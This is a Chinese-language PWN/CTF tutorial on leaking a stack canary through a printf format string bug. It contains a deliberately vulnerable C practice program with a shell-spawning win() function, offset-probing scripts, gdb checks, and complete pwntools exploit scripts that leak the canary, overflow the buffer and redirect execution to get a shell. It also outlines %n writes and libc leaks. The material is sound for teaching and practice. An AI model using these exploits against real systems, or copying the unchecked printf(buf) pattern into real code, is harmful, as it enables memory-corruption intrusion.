
PWN题目里第一次碰到 canary大概每个入门的人都经历过那种绝望漏洞点明晃晃摆在那read 可以溢出几百字节结果每次一覆盖到返回地址程序就一脸嫌弃地__stack_chk_fail直接退出连个像样的报错都不给。后来我才想明白一件事既然改不了 canary那就先把它偷出来。而格式化字符串漏洞就是我最常用的偷法。这篇文章我会从原理开始把“格式化字符串泄露 canary”这件事讲透包括怎么定位、怎么写利用脚本、有哪些新手必踩的坑。适合刚入门 PWN、看得懂一点 C 但还没系统学过格式化字符串的读者也欢迎老手来挑刺。1. canary 的工作原理一个不可见的哨兵如何被格式串看见1.1 canary 到底是什么栈上的“哨兵值”先花一分钟把 canary 的本质说清楚。canary 不是一个复杂的反调试机制它就是你在函数序言里被随机塞进去的一个值编译时开启栈保护后函数入口会在栈上、局部变量和返回地址之间放一个随机数函数返回前会重新比较这个位置的值和初始值如果发现被改写说明栈被污染了程序立刻调用__stack_chk_fail终止。在 x86_64 Linux 下这个值通常来自fs:0x28每次进程启动时随机生成。它被放在rbp-0x8附近也就是距离返回地址很近、但又在所有局部变量之上的位置。所以只要你用 read 或 strcpy 之类的方式溢出缓冲区想继续往高地址覆盖到返回地址就必然先踩过 canary 所在的 8 个字节。攻击者的写入和 canary 的检查是天然的“迎面对撞”。这里有个很经典的设计细节canary 的最低字节一定是\x00。为什么因为很多经典溢出是配合字符串函数发生的strcpy、sprintf、gets遇到\x00会停止拷贝。把 canary 的低字节设成 0等于给攻击者设了一道天然屏障——字符串型溢出想继续往后写就绕不过这个终止符。当然这个特性也成了我们识别 canary 的重要指纹后面会细说。1.2 格式化字符串为什么会“看见”canary现在关键问题来了canary 在栈上存得好好的我也没有直接读它的函数格式化字符串凭什么能把它打印出来本质原因是printf这类变参函数对参数数量没有强校验。你写printf(buf)时格式串是第一个参数后面没有任何额外参数。但printf内部根本不知道“没有参数”这件事它只会照着格式串里的占位符用va_arg一个接一个地去取参数。在 x86_64 System V 调用约定下参数传递分两个区域前几个参数走寄存器rdi、rsi、rdx、rcx、r8、r9第 7 个参数开始才从栈上取。对printf(buf)来说fmt占用了第一个寄存器参数位rdi。所以格式串里的%1$p到%6$p对应的其实是rsi、rdx、rcx、r8、r9以及寄存器保存区里的值。到了%7$p开始printf的va_arg就会越过寄存器区域去读“调用者栈帧”里的数据。而调用者是谁是当前函数的栈帧。也就是说printf还没意识到自己越界了它已经把你的局部变量、canary、保存的 rbp、返回地址一个 8 字节一个 8 字节地打印出来了。注意网上很多文章说“从第 6 个参数开始读栈”这是把 format 本身也算进去了。如果你以%n$p的编号为准第 1 个可变参数对应rsi第 6 个对应r9第 7 个才开始读栈。这个编号问题不搞清楚后面偏移能错一整天。这才是格式化字符串泄露 canary 的根本原理printf不检查参数数量而你给了它一个可以由用户控制的格式串它就会顺着调用栈往下“偷看”。canary 只是一个恰好躺在读取路径上的值而已。2. 复现环境搭建把漏洞写在明面上2.1 漏洞程序源码两个洞叠在一起为了演示我准备了一个非常典型的“练习靶”程序。它同时包含两个漏洞一是printf(buf)格式串可控二是read长度远超缓冲区大小可以溢出。#include stdio.h #include stdlib.h #include unistd.h void win() { system(/bin/sh); } void vuln() { char buf[64]; while (1) { write(1, input: , 7); read(0, buf, 0x100); printf(buf); write(1, \n, 1); } } int main() { vuln(); return 0; }为什么用while (1)而不是一次 read、一次 printf 就退出因为泄露 canary 和利用 canary 通常不能在同一次输入里完成。read发生在printf之前也就是说你输入 payload 的时候程序还没执行printf你自然不可能“先用格式串泄露 canary、再在同一个 payload 里写上正确的 canary”。所以现实中的栈题要么是循环输入要么是 fork 出子进程处理输入。while (1)是最简单、也最常见的可练习形态。另外我加了win()这个后门函数这样利用链就不需要额外构造 ROP 链去调用 system可以把注意力集中在“canary 怎么绕”上。真遇到没有后门的题思路也是一样的无非最后一步换成 ROP 或 ret2libc。2.2 编译选项与保护状态编译命令如下gcc -o fmt_leak fmt_leak.c -no-pie -fstack-protector-all -Wall逐个解释一下我为什么这样编-fstack-protector-all强制所有函数都加上 canary。默认的-fstack-protector-strong在部分简单函数上可能不开保护用 all 可以确保 canary 一定存在方便练习。-no-pie关闭地址随机化中的 PIE 部分。这样win()的地址在每次运行中是固定的我们不用额外泄露程序基址先专注 canary 这一件事。真实比赛中很多题也带-no-pie但更多题默认开了 PIE到时候你还得在同一轮输入里顺带泄基址方法类似。没有加-O2保持变量的栈布局直观方便调试。编译完用 checksec 确认一下保护状态checksec --file./fmt_leak我机器上的输出大概是Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE disabled重点看两行Stack: Canary found说明栈保护开着PIE: PIE disabled说明后面可以直接写死win的地址。2.3 拿到程序后怎么验证状态光是看 checksec 的“Canary found”还不够我习惯再用 gdb 反汇编确认 canary 的插入位置这一步能直接看出 canary 相对缓冲区的距离。gdb ./fmt_leak (gdb) disas vuln在输出里能看到类似这样的片段push rbp mov rbp, rsp sub rsp, 0x50 mov rax, qword ptr fs:[0x28] mov qword ptr [rbp-0x8], rax这里[rbp-0x8]就是 canary 的位置。buf如果从rbp-0x50开始那么 canary 就在缓冲区起始上方0x50 - 0x8 0x48 72字节处。也就是说buf和 canary 之间隔了 9 个 8 字节槽位。不同编译器、不同优化级别这个数字会有变化所以一定以你自己环境的实测为准。3. 手工定位 canary从“AAAA%p”开始的完整链路3.1 先数清楚 printf 的参数槽位我第一次学格式化字符串时犯过的最大错误就是直接拿网上的偏移套题目发现什么都打不出来。后来才知道偏移这事必须自己实测而且第一步永远是“数清楚printf从第几个参数开始读栈”。最简单的验证方法发一串%p然后看输出分成几段。echo AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p. | ./fmt_leak我环境里的输出大致是AAAA.0x7024372541414141.0x2e252e252e252e25.0x2e252e2570252e25.0x7024372541414141...不要被这些奇怪的十六进制吓到。第一段0x7024372541414141很有信息量低 4 字节0x41414141正好是AAAA的 ASCII 码。也就是说第 7 个可变参数已经在读栈上的buf起始位置了。如果某一段输出来自寄存器它通常是一堆不可预知的随机值不会这么规整地出现0x41。所以我在任何格式化字符串题目里第一步都会用AAAA%7$p.%8$p...这种标记法确定“栈读取起点”。3.2 用“标记法”精确测量 buf 与 canary 的距离不建议手工数一长串%p我用一个小脚本自动枚举槽位效率高得多from pwn import * for i in range(7, 26): r process(./fmt_leak) r.recvuntil(binput: ) r.sendline(fAAAA%{i}$p.encode()) out r.recvline().strip().decode(errorsreplace) print(f[{i:2d}] {out}) r.close()输出示例不同环境数字会有差异重点是规律[ 7] AAAA0x7024372541414141 [ 8] AAAA0x2e252e252e252e25 [ 9] AAAA0x2e252e2570252e25 [10] AAAA0x2e252e252e252e25 ... [15] AAAA0x4141414100000000 [16] AAAA0x2d8f9a12cb4e5f00 [17] AAAA0x7fffffffe270逐个分析[7]的低 4 字节是0x41414141说明buf起始位置正好在第 7 个可变参数槽位。如果这个特征出现在[9]那就说明栈上还有别的局部变量占据了前 2 槽。[15]输出0x4141414100000000只是我手滑多输入内容导致的边界数据不用管。[16]末尾是00而且是一长串随机数这个就是 canary 的典型特征。[17]像0x7fffffff...是保存的 rbp地址段非常有辨识度也可以作为辅助参考。结合第 2 节的反汇编结果buf在rbp-0x50canary 在rbp-0x8二者相差 72 字节也就是 9 个槽位。所以 buf 槽位是 7canary 槽位是7 9 16和实测完全吻合。我的建议是永远不要背“canary 在第 16 个参数”这种结论。编译器版本一变、优化级别一变偏移就全变了。正确做法是每次拿到新题用标记法 5 分钟把栈布局盘清楚。3.3 用 gdb 交叉验证不是猜是对答案对于刚入门的朋友我推荐在 gdb 里直接核对一遍能极大增强信心。gdb ./fmt_leak (gdb) b printf (gdb) run (python3 -c print(%16\$p))在printf断下来后执行x/20gx $rsp这会从当前栈顶一次性打印 20 个 8 字节。你应该能看到一处内容是0x??????????????00结尾那个就是 canary。对比刚才%16$p打印出来的值两个应该完全一致。如果一致说明你的格式串偏移没问题可以放心往下写利用脚本了。这里有个非常实用的 gdb 小技巧直接在断点处查看 canary 的准确值(gdb) p/x *(long long*)($rbp-0x8)算出来的数就是你通过%16$p应该拿到的数。两边对上了整个定位过程就闭环了。4. 编写利用脚本从读值到接管控制流4.1 最小泄露代码一行 %16$p确认偏移以后最小泄露逻辑其实就一行from pwn import * context.log_level error elf ELF(./fmt_leak) r process(./fmt_leak) r.recvuntil(binput: ) r.sendline(b%16$p) leak r.recvline().strip() canary int(leak, 16) log.success(fcanary {hex(canary)})这里有一个容易翻车的点pwntools 和 bash 的$处理不一样。在 bash 里直接写%16$p$p会被当成变量展开导致实际发出去的东西根本不是%16$p。所以要么用单引号包住要么像我这样用 Python 的 bytes 字面量pwntools 走sendline(b%16$p)不会做任何 shell 展开最安全。4.2 单次输入和多次输入两种交互模式的 payload 策略继续之前必须把交互模式讲清楚因为好多新手脚本写不出来不是不会泄露而是没搞明白题目到底给几次机会。循环模式本文代码while (1)循环里vuln 函数每次循环都会重新 read 一次。canary 是在函数序言里设置的函数没返回之前它一直不变。所以可以第一次输入%16$p拿到 canary第二次输入溢出 payload把 canary 原样填回去再覆盖返回地址跳到win()。这是最常规的利用方式。fork 子进程模式不少远程题目是accept后fork一个子进程去处理输入。重点在于fork 出来的子进程内存布局和父进程完全一致随机数也是继承的。也就是说第一次连接泄露的 canary和第二次连接 fork 出来的新子进程的 canary是同一个值。你完全可以先用一个连接去探测再用第二次连接正式打。但要注意如果题目每次连接都是exec一个全新进程而不是 fork那 canary 每次都会重新随机先探测后攻击的思路就废了。这类题往往需要你在同一次输入里解决所有问题。单次 read 模式如果题目是一次 read、一次 printf 就结束那“先泄露再溢出”是不成立的。因为 read 执行时 canary 还没被 printf 打出来你就没法在同一个 payload 里正确地填回 canary。这种情况下正经做法是用格式化字符串的%n任意写能力在printf执行期间直接改掉返回地址或 GOT。printf里写内存不受 canary 检查影响因为 canary 检查发生在函数返回时你只要别碰 canary 那 8 个字节就行。这是另一个大话题这里先点出方向不展开。4.3 构造完整溢出链padding、canary、padding、ret在我的环境里栈布局是项目偏移相对 buf 起始buf0canary72保存的 rbp80返回地址88所以溢出 payload 的结构非常模板化payload bA * 72 # padding 到 canary payload p64(canary) # 原样填回 canary payload bB * 8 # 覆盖保存的 rbp内容无所谓 payload p64(win_addr) # 跳转到 win为什么中间要夹一个 canary因为函数返回前会重新检查[rbp-0x8]的值。我们把原来的 canary 原封不动地放回去检查自然通过然后它继续读取 rbp 和返回地址我们就能控制接下来执行到哪。完整脚本如下from pwn import * context.log_level info elf ELF(./fmt_leak) r process(./fmt_leak) # 第一步泄露 canary r.recvuntil(binput: ) r.sendline(b%16$p) canary int(r.recvline().strip(), 16) log.success(fcanary {hex(canary)}) # 第二步构造溢出 win_addr elf.symbols[win] payload bA * 72 payload p64(canary) payload bB * 8 payload p64(win_addr) r.recvuntil(binput: ) r.send(payload) r.interactive()跑完应该能直接拿到 shell。这里我还想提醒一个 send 和 sendline 的细节。如果 payload 长度恰好覆盖到返回地址边界sendline会自动在末尾多塞一个\n这个字节会读进read缓冲区覆盖返回地址旁边的一个字节。多数情况下无伤大雅但极端情况可能导致栈上多出一个不可控的 0x0a所以我习惯在精确构造的 payload 上用send()而不是sendline()。5. 我在实战里翻过车的细节都写在这里5.1 canary 以 \x00 开头这把双刃剑前面说了canary 最低字节恒为 0这是 GCC 栈保护的刻意设计。它给字符串型溢出增加了难度但同时也给了我们一个识别 canary 的强特征任何以00结尾的栈上 8 字节随机数大概率就是 canary。但这把双刃剑也会坑人。如果你试图用%s去打印 canary 所在的地址得到的基本是空字符串。因为%s是按字符串语义读取遇到\x00就当结束符了根本打不出完整 8 字节。所以泄露 canary 必须用%p这种“按值打印”的格式符它直接把 8 字节当一个整数打印出来不受内部\x00影响。拿到值之后怎么处理直接用p64(canary)塞回 payload 即可。pwntools 会自己补齐 8 字节不需要关心\x00的位置。5.2 前 6 个寄存器参数偏移数错的头号原因我见过太多人卡在偏移上最后发现是没搞懂寄存器参数区。printf(buf)的 format 占第 1 个可变参数位置对应rdi。那么编号参数来源%1$prdi格式串自身%2$prsi%3$prdx%4$prcx%5$pr8%6$pr9%7$p栈上第 1 个 8 字节%8$p栈上第 2 个 8 字节很多文章说“从第 6 个开始就是栈”那是因为他们从rsi开始数说“第 6 个调用参数”。但在%n$p的编号体系里从第 7 个才开始读栈。这个错位一旦出现你会发现自己测出来的“buf 槽位”和“canary 槽位”总是差一个而且所有手动算的偏移全部对不上。判断方法很简单发一长串%p前面几个通常是一堆飘忽不定的寄存器残值从某个位置开始突然变得规律那就是栈读取起点。5.3 %s 与 %p读“内存”和读“值”是两回事格式化字符串不仅能读栈还能做任意地址读但前提是得用对格式符。%p把参数解释成一个整数直接打印这个整数本身%s把参数解释成一个指针去这个指针指向的内存地址读字符串。泄 canary、泄栈上 rbp、泄返回地址这种“值就在栈上”的场景用%p就对了。用%s做任意地址读时你得在格式串参数位置放一个你可以控制的指针通常是栈上已经存在的某个指针或者你通过溢出在栈上布置好的地址。如果你胡乱拿一个栈上的随机数当指针传给孩子%s程序很可能会 segment fault因为那个地址根本不可读。所以新手阶段建议记住一句话读栈上的值用 %p读任意内存用 %s定位用 $n$。5.4 如果只有一个 read没有第二次机会怎么办这个问题我每次打完比赛都要再想一遍。前面的while (1)版本给了你两次机会但真实赛题里单次 read 的模式也不少见。如果你明确知道题目只有一次交互别再执着于“先泄 canary 再填回去”了。在同一次输入里你还没有 canary 的值就不可能把它正确填回溢出 payload。这时候更靠谱的路线是用格式串里的%n做任意写利用栈上已有的返回地址位置直接把返回地址改写成win()或 one_gadget因为%n改的是返回地址你只要不碰 canary 和 rbp返回时的 canary 检查依然是通过的。这个路线需要你能在栈上定位到返回地址的存放位置通常就是用%p先泄一个返回地址再根据偏移算出它在栈上的地址然后用%n去写。虽然比“泄露 canary 溢出”复杂一点但本质还是同一套“格式化字符串读写栈”的思维。5.5 发送工具导致的小坑换行、编码和本地调试还有一些特别基础但很磨人的坑recvline()拿到的输出里可能带有0x前缀也可能带换行。直接用int(leak, 16)前确认strip()过。printf(buf)这类代码如果读入的数据里没有\x00格式串可能延续到栈上的下一段数据导致输出不按预期结束。pwntools 发sendline自带\n本地演示没问题但部分远程题目需要你自己在 payload 末尾补\x00养成习惯会少很多奇怪的问题。本地调试时多用context.log_level debugpwntools 会把收发内容原样打出来一眼就能看出是格式串解析问题还是偏移问题。6. 下一步从泄露 canary 到更复杂的利用6.1 同一套方法还能泄露什么canary 只是栈上值得偷的东西之一。掌握了%n$p读栈的思路你其实可以一次性拖出整个栈帧的有用信息保存的 rbp通常紧跟在 canary 之后。拿到它你可以算出当前栈地址配合栈上布置的 ROP 链做栈迁移。返回地址返回地址在 Stack 上往往指向libc或程序自身。如果是__libc_start_mainxxx这类地址减去对应偏移就能拿到 libc 基址从而算出system和/bin/sh的地址。函数的 GOT 表项如果你能通过格式化字符串任意读直接读printfgot这种 GOT 项也能拿到 libc 地址。所以“格式化字符串 栈”这套技术栈不只是用来打 canary 的它是一套完整的“栈侦察”手段。建议大家把%n$p枚举脚本做成模板遇到堆题、菜单题想快速了解栈上内容时一发入魂。6.2 格式化字符串这条路何时会失效不是所有带 canary 的题都能靠格式化字符串泄出来还是要保持清醒程序根本没有格式化字符串漏洞或者printf(buf)被审代码阶段就修掉了输入被过滤%字符或$字符被删buf太小格式串塞不下足够的参数编号比如只能用%p而不能用%16$p读入的数据被转存到其他缓冲区栈上已经没有你的原始格式串printf读的是一块不可控内存。碰到这些情况泄 canary 的路子就要换成暴力爆破canary 低字节\x00固定理论上剩余 7 字节爆破空间巨大实际只在 32 位小端且 fork 模式下可行、侧信道、或者其他漏洞组合。另一个必须注意的边界是canary 每次 exec 都会重新随机。如果目标是每次连接重新启动一个进程那么你上一轮泄出来的 canary这一轮大概率已经失效。只有在 fork 模型下父子进程共享同一份内存布局泄露值才能跨连接重用。6.3 一个偷懒但可靠的经验写个小函数自动枚举最后分享一个我自己一直在用的偷懒模板。拿到任何可能有格式串漏洞的二进制后我不会手工猜偏移而是先跑一段自动枚举脚本from pwn import * def probe_fmt(elf_path, start7, end40): for i in range(start, end 1): try: r process(elf_path) r.recvuntil(binput: ) r.sendline(fAAAA%{i}$p.encode()) out r.recvline().strip().decode(errorsreplace) log.info(fslot {i:2d}: {out}) r.close() except Exception: pass跑完这份输出你能立刻知道buf 的起始槽位canary 出现的位置以00结尾rbp 的位置以0x7f或0x00开头有没有0xffffffffff这种可以顺带泄露的控制流地址。把这个步骤固定成肌肉记忆之后再复杂的栈题你拿到手第一件事就是看它给了哪几个漏洞然后花几分钟把栈布局摸一遍。整个过程其实比很多人想象中更“机械”也更可靠。我自己练这套方法的体会是格式化字符串泄露 canary 本质上不是什么高深技巧它就是把一个系统保护机制的细节、一个 ABI 传参的细节和一个变参函数的实现细节串起来。一旦你亲手在 gdb 里对着栈把 canary 找出来再看着 pwntools 在屏幕上打出canary 0x2d8f9a12cb4e5f00后面遇到所有栈保护题你都会多一分底气。最后再补一句最实在的别背偏移跑枚举比什么都管用。